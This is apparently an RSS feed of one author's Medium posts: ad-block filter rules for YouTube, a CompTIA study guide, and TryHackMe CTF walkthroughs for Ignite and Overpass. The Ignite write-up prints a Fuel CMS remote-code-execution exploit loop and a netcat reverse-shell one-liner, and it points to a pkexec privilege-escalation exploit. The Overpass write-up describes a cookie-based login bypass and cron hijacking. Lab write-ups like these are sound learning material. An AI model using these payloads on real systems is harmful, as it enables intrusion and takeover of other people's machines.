div.css-1dbjc4n.r-150rngu.r-16y2uox.r-1wbh5a2.r-rthrr5 &gt; div.css-1dbjc4n.r-aqfbo4.r-16y2uox &gt; div.css-1dbjc4n.r-1oszu61.r-1niwhzg.r-18u37iz.r-16y2uox.r-1wtj0ep.r-2llsf.r-13qz1uu &gt; div.css-1dbjc4n.r-aqfbo4.r-zso239.r-1hycxz:last-child &gt; div.css-1dbjc4n.r-1pi2tsx &gt; div.css-1dbjc4n.r-1xcajam.r-ipm5af.r-1hycxz:last-child &gt; div.css-1dbjc4n.r-1adg3ll &gt; div.css-1dbjc4n &gt; div.css-1dbjc4n.r-vacyoi.r-ttdzmv &gt; div.css-1dbjc4n.r-1niwhzg.r-1kqtdi0.r-1867qdf.r-1phboty.r-1yadl64.r-1ifxtd0.r-1udh08x:last-child<br>twitter.com###react-root &gt; div.css-1dbjc4n.r-13awgt0.r-12vffkv &gt; div.css-1dbjc4n.r-13awgt0.r-12vffkv &gt; div.css-1dbjc4n.r-18u37iz.r-13qz1uu.r-417010:last-child &gt; header.css-1dbjc4n.r-obd0qt.r-16y2uox.r-lrvibr.r-1g40b8q:nth-child(3) &gt; div.css-1dbjc4n.r-o96wvk &gt; div.css-1dbjc4n.r-aqfbo4.r-1pi2tsx.r-1xcajam.r-ipm5af &gt; div.css-1dbjc4n.r-1pi2tsx.r-1wtj0ep.r-1rnoaur.r-1pn2ns4.r-o96wvk &gt; div.css-1dbjc4n.r-1habvwh:first-child &gt; div.css-1dbjc4n.r-15zivkp.r-1bymd8e.r-13qz1uu:nth-child(2) &gt; nav.css-1dbjc4n.r-1habvwh.r-eqz5dr &gt; a.css-4rbku5.css-18t94o4.css-1dbjc4n.r-1habvwh.r-1loqt21.r-6koalj.r-eqz5dr.r-16y2uox.r-1ny4l3l.r-oyd9sg.r-13qz1uu:nth-child(7) &gt; div.css-1dbjc4n.r-1awozwy.r-sdzlij.r-18u37iz.r-1777fci.r-dnmrzs.r-xyw6el.r-o7ynqc.r-6416eg<br>twitter.com###react-root &gt; div.css-1dbjc4n.r-13awgt0.r-12vffkv &gt; div.css-1dbjc4n.r-13awgt0.r-12vffkv &gt; div.css-1dbjc4n.r-18u37iz.r-13qz1uu.r-417010:last-child &gt; header.css-1dbjc4n.r-obd0qt.r-16y2uox.r-lrvibr.r-1g40b8q:nth-child(3) &gt; div.css-1dbjc4n.r-o96wvk &gt; div.css-1dbjc4n.r-aqfbo4.r-1pi2tsx.r-1xcajam.r-ipm5af &gt; div.css-1dbjc4n.r-1pi2tsx.r-1wtj0ep.r-1rnoaur.r-1pn2ns4.r-o96wvk &gt; div.css-1dbjc4n.r-1habvwh:first-child &gt; div.css-1dbjc4n.r-15zivkp.r-1bymd8e.r-13qz1uu:nth-child(2) &gt; nav.css-1dbjc4n.r-1habvwh.r-eqz5dr &gt; a.css-4rbku5.css-18t94o4.css-1dbjc4n.r-1habvwh.r-1loqt21.r-6koalj.r-eqz5dr.r-16y2uox.r-1ny4l3l.r-oyd9sg.r-13qz1uu:nth-child(7)<br>twitter.com###react-root &gt; div.css-1dbjc4n.r-13awgt0.r-12vffkv &gt; div.css-1dbjc4n.r-13awgt0.r-12vffkv &gt; div.css-1dbjc4n.r-18u37iz.r-13qz1uu.r-417010:last-child &gt; main.css-1dbjc4n.r-1habvwh.r-16y2uox.r-1wbh5a2:last-child &gt; div.css-1dbjc4n.r-150rngu.r-16y2uox.r-1wbh5a2.r-rthrr5 &gt; div.css-1dbjc4n.r-aqfbo4.r-16y2uox &gt; div.css-1dbjc4n.r-1oszu61.r-1niwhzg.r-18u37iz.r-16y2uox.r-1wtj0ep.r-2llsf.r-13qz1uu &gt; div.css-1dbjc4n.r-aqfbo4.r-zso239.r-1hycxz:last-child &gt; div.css-1dbjc4n.r-1pi2tsx &gt; div.css-1dbjc4n.r-1xcajam.r-ipm5af.r-1hycxz:last-child &gt; div.css-1dbjc4n.r-1adg3ll &gt; div.css-1dbjc4n &gt; div.css-1dbjc4n.r-vacyoi.r-ttdzmv &gt; div.css-1dbjc4n.r-g2wdr4.r-14wv3jr.r-1867qdf.r-1phboty.r-rs99b7.r-1ifxtd0.r-1udh08x:nth-child(4)</pre><ul><li>Click <strong><em>“Apply changes”</em></strong> once done.</li><li>Refresh the page and BOOOM! It’s gone.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TkiNSw3CGpY3ma7L1zjNZA.png" /></figure><h4>5. Filter using AdGuard for Safari</h4><p>If you’re a Mac user utilising Safari as your browser, and you’re unable to find uBlock Origin directly in the App Store extensions, there’s a reputable alternative, “<strong><em>AdGuard for Safari</em></strong>” which you can make use of.</p><p>Now, let’s shift to YouTube page and explore its sections within the DOM. It has <strong><em>Header</em></strong>, <strong><em>Sidebar</em></strong>, <strong><em>Main Video Player</em></strong>,<strong><em> Related Videos</em></strong>, <strong><em>Description</em></strong>, <strong><em>Comments</em></strong>, <strong><em>Homepage</em></strong>, <strong><em>Shorts</em></strong>, <strong><em>Up Next (Recommended)</em></strong> and <strong><em>Playlists.</em></strong></p><p>I find the following sections to be distractive:</p><blockquote>Shorts, UpNext, Homepage Recommendations, Related Videos</blockquote><ul><li>Install “<strong><em>AdGuard for Safari</em></strong>” via Apple App store</li><li>Turn on all the needed extensions and filters in the settings &gt; Extensions menu</li><li>Click AdGuard app and navigate to Filters menu</li><li>Turn on the User Filter and add / append the following rule to the filter:</li></ul><pre>youtube.com##ytd-browse[page-subtype*=&#39;home&#39;]<br>m.youtube.com##ytm-browse &gt; ytm-single-column-browse-results-renderer &gt; div &gt; div[tab-identifier*=&quot;FEwhat_to_watch&quot;]<br><br>! Removes unnecessary section buttons<br>youtube.com###items &gt; ytd-guide-entry-renderer[is-primary]:nth-child(1)<br>youtube.com###items &gt; ytd-guide-entry-renderer[is-primary]:nth-child(2)<br>youtube.com###items &gt; ytd-guide-entry-renderer[is-primary]:nth-child(3)<br>youtube.com###items &gt; ytd-guide-entry-renderer[is-primary]:nth-child(4)<br>youtube.com###items &gt; ytd-guide-entry-renderer[is-primary]:nth-child(5)<br>youtube.com###guide-renderer &gt; #sections &gt; ytd-guide-section-renderer:nth-child(2) &gt; #items &gt; ytd-guide-entry-renderer:last-child<br>youtube.com###guide-renderer &gt; #sections &gt; ytd-guide-section-renderer:nth-child(3)<br>youtube.com###guide-renderer &gt; #sections &gt; ytd-guide-section-renderer:nth-child(4)<br>youtube.com###guide-renderer &gt; #sections &gt; ytd-guide-section-renderer:nth-child(5)<br>youtube.com###guide-renderer &gt; #sections &gt; ytd-guide-section-renderer:nth-child(6)<br>youtube.com##ytd-mini-guide-renderer &gt; #items &gt; ytd-mini-guide-entry-renderer:nth-child(1)<br>youtube.com##ytd-mini-guide-renderer &gt; #items &gt; ytd-mini-guide-entry-renderer:nth-child(2)<br>youtube.com##ytd-mini-guide-renderer &gt; #items &gt; ytd-mini-guide-entry-renderer:nth-child(3)<br><br>! Removes video suggestions<br>##.ytp-endscreen-content<br>youtube.com,youtubekids.com###related<br>m.youtube.com##ytm-watch ytm-compact-video-renderer<br>m.youtube.com##[section-identifier=related-items]<br>/annotations_module.js$script,domain=youtube.com|youtu.be|youtube-nocookie.com<br>/endscreen.js$script,domain=youtube.com|youtu.be|youtube-nocookie.com<br><br>! Seems to remove &quot;Recommended for you&quot; suggestions<br>||youtube.com/related_ajax^<br><br>! Aims to prevent video suggestions from showing up when pausing embedded videos<br>##.ytp-scroll-min<br>##.ytp-pause-overlay<br>youtube.com##.ytp-scroll-min<br>youtube.com##.ytp-pause-overlay</pre><ul><li>find more youtube filter queries <a href="https://github.com/hadig/Focus-for-Youtube/blob/main/focus4yt.txt">here</a></li><li>Click Save and refresh the page.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i09kRnZgk68ME_1i-lm8TQ.png" /><figcaption>Huh, Homepage looks neat and simple, right?</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sxf9WSo0kgSkYZWI29oOAw.png" /><figcaption>No more distractions of recommended videos</figcaption></figure><p>The same approach can be applied to other social media platforms as well. While it ultimately comes down to an individual’s mindset, utilizing these techniques can be a valuable addition, especially when you are working on multiple taks and wanted to increase your producitivity. So, Here’s the outcome of our effort. Cheers!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*eGM4DK5iiHYYzaG_v3klLA.jpeg" /><figcaption>Original Image Source: iStockPhoto</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=90bf24f6f388" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I passed CompTIA Exams?]]></title>
            <link>https://medium.com/@vasanthavanan59439/how-i-passed-comptia-exams-75b3cea9b5e0?source=rss-e2c6d0b53306------2</link>
            <guid isPermaLink="false">https://medium.com/p/75b3cea9b5e0</guid>
            <category><![CDATA[notetaking]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[notion]]></category>
            <category><![CDATA[comptia]]></category>
            <dc:creator><![CDATA[Vasanth Vanan]]></dc:creator>
            <pubDate>Fri, 24 Feb 2023 16:04:18 GMT</pubDate>
            <atom:updated>2026-11-11T18:41:55.947Z</atom:updated>
            <content:encoded><![CDATA[<p>With the increasing digitalisation, the importance of cybersecurity is crucial. Numerous organisations are seeking out professionals in networking and cybersecurity. <strong>CompTIA</strong> exams are highly valued and demonstrates your knowledge to potential employers.</p><p>However, passing these exams can be challenging, and it requires a lot of dedication, time, and effort. In this blog, I will share my experience of completing the CompTIA Network+ and Security+ exams and the study plan, resources, tools I used to ace these exams.</p><h4>Getting Started:</h4><p>Before diving, let me clarify that the default CompTIA certification paths</p><blockquote><strong>A+</strong> → <strong>Network+</strong> → <strong>Security+</strong> → <strong>Linux+</strong> → <strong>Pentest+</strong> / <strong>CySA+</strong></blockquote><p>is not mandatory for everyone who wants to pursue a career in cybersecurity. It depends on your career goals and the specific job requirements. If you want to specialise in penetration testing or ethical hacking, the CompTIA certification path is an excellent starting point. For pentesters and red teamers, I would rather recommend</p><blockquote><strong>Network+</strong> → <strong>Security+</strong> → <strong>Pentest+</strong></blockquote><p>While the A+ certification is not directly related to penetration testing or ethical hacking, it can still be helpful in developing the foundational knowledge. Hence, <strong>A+ can be optional</strong> for Offensive Security enthusiasts.</p><h4>Network+ Certification:</h4><p>It all started with the Network+ <em>N10–008</em> version of the exam, which covers the following</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SkEXG1-9Qwvx6AdqVFRHSQ.png" /><figcaption>Network+ N10–008 Domain lists</figcaption></figure><p>To kick off my preparation, I enrolled in the <a href="https://www.udemy.com/course/comptia-networkplus-certification/?couponCode=LEADERSALE24B"><strong>Mike Meyer’s CompTIA Network+ Course</strong></a>, which I received as part of my corporate access to Udemy. Believe me,</p><blockquote>Visualisation is more powerful than textual form.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4qI7fRPEXdYRkbFmGjwe_w.png" /><figcaption>source: amplifiedvalue</figcaption></figure><p>In that way, I must say that the course was a game-changer in terms of understanding networking concepts in a visual and interactive way. I highly <strong>recommend</strong> this course for beginners.</p><h4>Notion Planner:</h4><p>Next, I moved on to <a href="https://www.udemy.com/course/comptia-network-n10-008/"><strong>Jason Dion’s Udemy Course</strong></a>, which offered a more structured approach towards understanding every concept in each section. I found it extremely helpful to take notes on all the sections, given that the Network+ exam has five domains with multiple chapters of varying difficulty levels.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GOlclkrrDxXeMkRDGnv-YQ.png" /><figcaption>Notion Status Tracker page</figcaption></figure><p>To keep track of my progress, I created a <a href="https://vasanth-vanan.notion.site/CompTIA-Network-Track-c0ff788d899242b8b6cfa40c6260fc66"><strong>Notion Page</strong></a> that helped me to stay organized and focused. I added domains, difficulty ratings, and assigned a date for each chapter to be completed. Being consistent in your progress can give a sense of satisfaction and confidence, and Notion is the revolutionary product<strong> </strong>for me in terms of my preparation.</p><blockquote>You are welcome to duplicate my Notion project. Just keep in mind that I have assigned difficulty ratings to indicate my level of knowledge on each topic and it may vary.</blockquote><h4>Handwritten Notes:</h4><p>For taking notes, I preferred to use <strong>GoodNotes 5</strong> on my iPad. It was easy to write 30–50 pages of notes, and I could also work seamlessly between my iPad and Mac, given that I am an Apple ecosystem user.</p><blockquote><strong>Bonus: </strong>GoodNotes have flashcard feature where I created different cards with network protocols and its numbers</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qE_iECFoZvWMfPUY6TjJmA.png" /><figcaption>Good Notes Application [iPad, iPhone, Mac]</figcaption></figure><h4>OneNote Summaries:</h4><p>Once I completed all the videos from Dion’s course, I used <strong>Microsoft’s</strong> <strong>OneNote</strong> to take summarizations of each chapter’s note. It helped me to shorten 30–50 pages of content into just ONE PAGE, which was an achievement. This condensed summary was helpful in two ways:</p><ul><li>it allowed me to revise concepts during last minute of the examination</li><li>I managed time wisely when I prepared for multiple mock tests. <br>(I don’t really have to swipe multiple pages)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*EvnEDySIXWJZqlIFunEPTg.gif" /><figcaption>Eagle’s view on chapter notes that had 18–30 pages</figcaption></figure><h4>Taking Mocks:</h4><p>To track my revisions, I created four new columns with checkboxes in my Notion page. I had three straight revisions followed by a final revision, which I marked as “<strong>isDone</strong>.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*InmH0ZWcL7efTgHfNCXunQ.png" /><figcaption>Revision Trackers</figcaption></figure><p>After each revision, I completed a mock test from <a href="https://www.udemy.com/course/comptia-network-008-exams/"><strong>Jason Dion’s Udemy course</strong></a> that had 4–5 practice exams. I preserved the scoreboards of those tests to evaluate myself and see where I needed to focus more.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*OVJGu9bWaF5jink4OLrvYQ.jpeg" /></figure><p>Along the way, I created a handy reference sheet that focused primarily on WiFi properties, as well as IP and subnet addressing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YxC9HeOfV64KiG45HtKkjg.jpeg" /></figure><blockquote><strong>Note</strong>: you are not allowed to bring any cheat sheets. I focused on memorizing the stuff I needed and was able to recall it successfully.</blockquote><h4>Security+ Certification:</h4><p>For my <a href="https://vasanth-vanan.notion.site/CompTIA-Security-Track-Template-by-Vasanth-Vanan-a5c178d1c74a42d1add228039ef915f4"><strong>Security+ certification</strong></a> journey, I followed the same strategy but decided to switch up few things and explore some new resources. After researching different options, I found that many people highly recommended <a href="https://www.youtube.com/playlist?list=PLG49S3nxzAnkL2ulFS3132mOVKuzzBxA8"><strong>Professor Messer’s course materials</strong></a>. I decided to give it a try and found that it provided a good outline of the concepts covered on the exam.</p><p>In addition to Professor Messer’s materials, I also went through <a href="https://www.udemy.com/course/securityplus/"><strong>Jason Dion’s Security+ course</strong></a> to gain a deeper understanding of the topics. To revise my studying, I also read the book “<a href="https://www.amazon.in/CompTIA-Security-SY0-601-Exam-Cram/dp/0136798675"><strong>ExamCRAM Security+ SY0–601</strong></a>” and took their CRAM mock tests. The book provided additional explanations and examples that helped me understand better.</p><h4>Conclusion:</h4><p>My journey towards these certifications taught me the importance of visualization, note-taking, summarisation, and evaluation. This approach can be applied to any IT based certifications with a disciplined approach towards your study, proper organization, and consistency. I hope my guide will help you to prepare effectively and achieve your certification goals.</p><p>Best of luck!</p><p><strong><em>Find me on</em></strong><em>: </em><a href="https://twitter.com/vasanth__vanan"><em>Twitter</em></a><em> | </em><a href="https://github.com/VasanthVanan"><em>Github</em></a><em> | </em><a href="https://www.linkedin.com/in/vasanthavanan/"><em>LinkedIn</em></a><em> | </em><a href="https://www.instagram.com/vasanth_vanan/"><em>Instagram</em></a><em> | </em><a href="https://tryhackme.com/p/vasanth.vanan"><em>TryHackMe</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=75b3cea9b5e0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ignite: Walkthrough]]></title>
            <link>https://systemweakness.com/tryhackme-ignite-walkthrough-7beb5021cb46?source=rss-e2c6d0b53306------2</link>
            <guid isPermaLink="false">https://medium.com/p/7beb5021cb46</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cms]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Vasanth Vanan]]></dc:creator>
            <pubDate>Sun, 01 Jan 2023 03:27:11 GMT</pubDate>
            <atom:updated>2023-02-24T11:37:05.398Z</atom:updated>
            <content:encoded><![CDATA[<h4>TryHackMe</h4><p>Welcome to the walkthrough of Ignite CTF on TryHackMe! In this CTF, my goal was to find two flags: <strong>user.txt</strong> and <strong>root.txt</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xpaQMfRo_gPSQIBr0wOzQg.png" /><figcaption><a href="https://tryhackme.com/room/ignite">https://tryhackme.com/room/ignite</a></figcaption></figure><p>To start, I ran an nmap scan on the machine to see what ports were open and what services were running. This is a first step in any penetration testing engagement, as it allows us to see what attack vectors are available.</p><p>The nmap scan showed that the machine had a <strong>Fuel-CMS web server</strong> running on port 80.</p><blockquote>Fuel-CMS is a content management system (CMS) that is used to build and manage websites.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jqrx5UXzfOzK1f1kg3G5og.png" /></figure><p>I visited that website and noticed that it was using Fuel CMS <strong>version 1.4</strong>. I remembered from past CTFs that this version had some known vulnerabilities, so I decided to search for exploit code that I could use to gain access to the machine.</p><p>I used the <strong>searchsploit</strong> module to find the exploit code for Fuel CMS 1.4</p><blockquote>This module searches the Exploit Database — a comprehensive database of exploits, shellcode, and security vulnerabilities.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rPNyeYh0bvvAVxKwS3Ov7Q.png" /></figure><p>Once I had the source code, I executed a remote code execution (RCE) exploit. This type of exploit allows an attacker to execute arbitrary code on a target machine, typically by exploiting a vulnerability in a web application or server.</p><pre>while True:<br> cmd = input(Style.BRIGHT+Fore.YELLOW+&quot;Enter Command $&quot;+Style.RESET_ALL)<br>  <br> main_url = url+&quot;/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27&quot;+quote(cmd)+&quot;%27%29%2b%27&quot;<br><br> r = requests.get(main_url)<br><br> #&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;<br><br> output = r.text.split(&#39;&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;&#39;)<br> print(output[0])<br> if cmd == &quot;exit&quot;:<br>  break</pre><p>The RCE exploit was successful, and I was able to gain access to the <strong>www-data</strong> account on the machine. I traversed to <em>/home/www-data </em>folder and found out <strong>user.txt</strong> <strong>flag</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ptipcvnbhzHO1fdb6VDOXA.png" /></figure><blockquote>Although this account is accessible and used by the web server to run web-based applications, it is typically <strong>not a high-privilege</strong> account.</blockquote><p>I need to elevate my privileges to access root account. And, this RCE would not be helpful for privilege escalation. So, I searched for a way to connect through a reverse shell.</p><blockquote>A reverse shell is a type of shell connection in which the target machine establishes a connection back to the attacker’s machine. This allows the attacker to have a more stable and interactive shell session.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7AgF1yT-LH9nluEQGqyrWw.png" /></figure><p>(I used this set of pipe commands to connect back to the listener)</p><blockquote>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc IP PORT &gt;/tmp/f</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h7tu68wErdipz_IWtFYWfQ.png" /></figure><p>Once I had a stable reverse shell connection, I ran my favorite Linux enumeration script, <strong>linpeas.sh</strong>. This script helps to identify potential vulnerabilities on a Linux system. It checks for things like weak passwords, unnecessary services, and known vulnerabilities.</p><p>One of the vulnerabilities that it identified was <strong>CVE-2021–4034</strong>, a “<strong>pkexec</strong>” local privilege escalation vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DBdEvDND6vvBvNLbRJo42A.png" /></figure><blockquote>pkexec is a tool that allows a user to execute a command with the privileges of another user, typically a privileged user like root.</blockquote><p>This vulnerability allows an attacker to execute commands as root without proper authentication. To exploit this vulnerability, I found <a href="https://github.com/ryaagard/CVE-2021-4034">this script</a> that would elevate my privilege to root.</p><ol><li>I changed the directory and ran ‘<strong>make’</strong></li><li>once c script got compiled, I ran ‘<strong>./exploit’</strong> to run the code</li><li>It got successful in gaining a root shell.</li></ol><p>With a root shell, I had complete control over the machine and was able to access the second flag, which was located in the <strong>/root/root.txt</strong> file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8kCsDp7-9KVmcLCQ0i6Nbw.png" /></figure><p>Overall, the Ignite CTF leveraged the Fuel-CMS vulnerability that allowed me to exploit pkexec privilege escalation. I hope you enjoyed reading about my walkthrough.</p><p><strong><em>Find me on</em></strong><em>: </em><a href="https://twitter.com/vasanth__vanan"><em>Twitter</em></a><em> | </em><a href="https://github.com/VasanthVanan"><em>Github</em></a><em> | </em><a href="https://www.linkedin.com/in/vasanthavanan/"><em>LinkedIn</em></a><em> | </em><a href="https://www.instagram.com/vasanth_vanan/"><em>Instagram</em></a><em> | </em><a href="https://tryhackme.com/p/vasanth.vanan"><em>TryHackMe</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7beb5021cb46" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/tryhackme-ignite-walkthrough-7beb5021cb46">Ignite: Walkthrough</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking Overpass CTF: Guide]]></title>
            <link>https://medium.com/@vasanthavanan59439/hacking-overpass-ctf-guide-d3e26759f0ce?source=rss-e2c6d0b53306------2</link>
            <guid isPermaLink="false">https://medium.com/p/d3e26759f0ce</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Vasanth Vanan]]></dc:creator>
            <pubDate>Sun, 25 Dec 2022 16:12:27 GMT</pubDate>
            <atom:updated>2026-11-11T18:42:21.779Z</atom:updated>
            <content:encoded><![CDATA[<p>Resource: <a href="https://tryhackme.com/room/overpass">TryHackMe</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ft_9syUisOJ_FNL3" /><figcaption>Photo by <a href="https://unsplash.com/@jostolle?utm_source=medium&amp;utm_medium=referral">Jonas Stolle</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Welcome to the Overpass CTF on TryHackMe! If you’re new to THM, make sure to complete this <a href="https://tryhackme.com/room/tutorial">tutorial</a> first to familiarise yourself with the platform.</p><p>The Overpass CTF consists of three rooms, each with its own set of challenges to complete. In this blog, I’ll be focusing on the first room of the series. Not every step is covered in this blog, so I encourage you to get the idea and work on it yourself.</p><p>To start the machine for Overpass, you’ll need to connect to the network through a VPN by downloading the <strong>.ovpn</strong> for your profile.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*huNRec4ISI5Qf1IqSxfdaQ.png" /></figure><p>I started by scanning the system using nmap. It revealed that ports 80 and 22 were OPEN on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sfxgV-y32E7a9enxOAf36A.png" /></figure><p>One of the first tasks I tackled was trying to access the website on port 80. It is a common port for web servers, so it is generally a good place to start. Once I had the website open, I started looking for clues and vulnerabilities that I could exploit to progress through the challenges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PtAkIibDx2AA5aAq0dufxQ.png" /><figcaption>OverPass Website @ Port 80</figcaption></figure><blockquote>There are two flags to find in this room: <strong>user.txt</strong> and <strong>root.txt</strong>. The user.txt flag is typically easier to find and will often lead you to the root.txt flag, which is the ultimate goal of the CTF.</blockquote><h3>Finding Flag #1: user.txt</h3><p>As I browsed the site, I used a tool called <strong>dirbuster</strong> to try and find hidden web files and directories. Through this process, I came across several juicy files such as <strong>admin.html</strong> and <strong>login.js</strong> that contained the code logic for the login functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IH83GEf-dGu69UtilZ55Lg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PTlbj7-L3PbRYjR-euhG8g.png" /><figcaption>admin.html</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jhDMDi3gqpqbp6IkS45s_w.png" /><figcaption>code logic found in login.js</figcaption></figure><p>Upon examining these files, I realised that the login process was vulnerable to an OWASP Top 10 vulnerability: <strong>Broken Authentication</strong>.</p><pre>if (statusOrCookie =-= &quot;Incorrect credentials&quot;) {<br>  LoginStatus.textContent = &quot;Incorrect Credentials&quot;<br>  passwordBox.value=&quot;&quot;<br>else {<br>  Cookies.set(&quot;SessionToken&quot;,statusOrCookie)<br>  window.location = &quot;/admin&quot;<br>}</pre><p>I discovered that by setting a manual cookie and refreshing the page, the login process could be bypassed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*a2zs03X4x7iHriISwIwreg.png" /></figure><p>This brings me to the /admin page, where I found a private SSH key belonging to a user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bj5EigpJDDOHTNOcaXHdXg.png" /></figure><p>With this key, I was able to use <strong>john</strong> and <strong>ssh2john</strong> to crack the passphrase for the key. Once I had the passphrase, I was able to use it to log in to the machine via SSH at port 22. This granted me access to the user’s account, and from there I was able to simply list the files in the directory to find the first flag: <strong>user.txt.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*mNQsgeF0i-VMjJKO7sylDQ.png" /></figure><h3>Finding Flag #2: root.txt</h3><p>Next, I turned my attention to the <strong>root.txt</strong> flag. To get this flag, I needed to escalate my privileges and become the root user. I started by running linpeas or linenum shell scripts to look for services and files that had higher privileges. As I examined the system, I noticed that a cron job was periodically running a shell script every minute using <strong>overpass.thm</strong> domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KHe2Ivsi3tt7tJukK-WUlw.png" /></figure><p>By inspecting the DNS host file, I saw that overpass.thm was redirecting to localhost. I knew where this was going. I was able to hijack the DNS configurations by changing my IP address and redirecting the traffic to a fake web server that I had set up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*EFmbWBZPBm0tfNp2rPfFUQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xKvGdtcKAdnJUiamOUV7GQ.png" /></figure><p>I created a shell script with the same file <strong>buildscript.sh</strong> using the following command.</p><pre>cp /root/root.txt /dev/shm/root.txt</pre><p>When cron ran its job, it simply copied the <strong>root.txt</strong> file from the <strong>/root</strong> directory to the <strong>/dev/shm</strong> folder, and voila! I had both flags and had successfully completed the Overpass CTF.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DCYvNVph9ZN4no9QCH_gIg.png" /></figure><blockquote><strong>Note:</strong> /dev/shm is a virtual memory filesystem used to store temporary files shared between processes in Unix-like operating systems. Sometimes it’s good to place our files in /dev/shm or /tmp as they will be deleted when the system reboots.</blockquote><p>Happy hacking :)</p><p><strong><em>Find me on</em></strong><em>: </em><a href="https://twitter.com/vasanth__vanan"><em>Twitter</em></a><em> | </em><a href="https://github.com/VasanthVanan"><em>Github</em></a><em> | </em><a href="https://www.linkedin.com/in/vasanthavanan/"><em>LinkedIn</em></a><em> | </em><a href="https://www.instagram.com/vasanth_vanan/"><em>Instagram</em></a><em> | </em><a href="https://tryhackme.com/p/vasanth.vanan"><em>TryHackMe</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d3e26759f0ce" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Inspecting — KrØØk Vulnerability]]></title>
            <link>https://medium.com/@vasanthavanan59439/inspecting-kr%C3%B8%C3%B8k-vulnerability-af70ff197488?source=rss-e2c6d0b53306------2</link>
            <guid isPermaLink="false">https://medium.com/p/af70ff197488</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[networking]]></category>
            <dc:creator><![CDATA[Vasanth Vanan]]></dc:creator>
            <pubDate>Wed, 25 Mar 2020 20:07:06 GMT</pubDate>
            <atom:updated>2026-11-11T18:42:56.448Z</atom:updated>
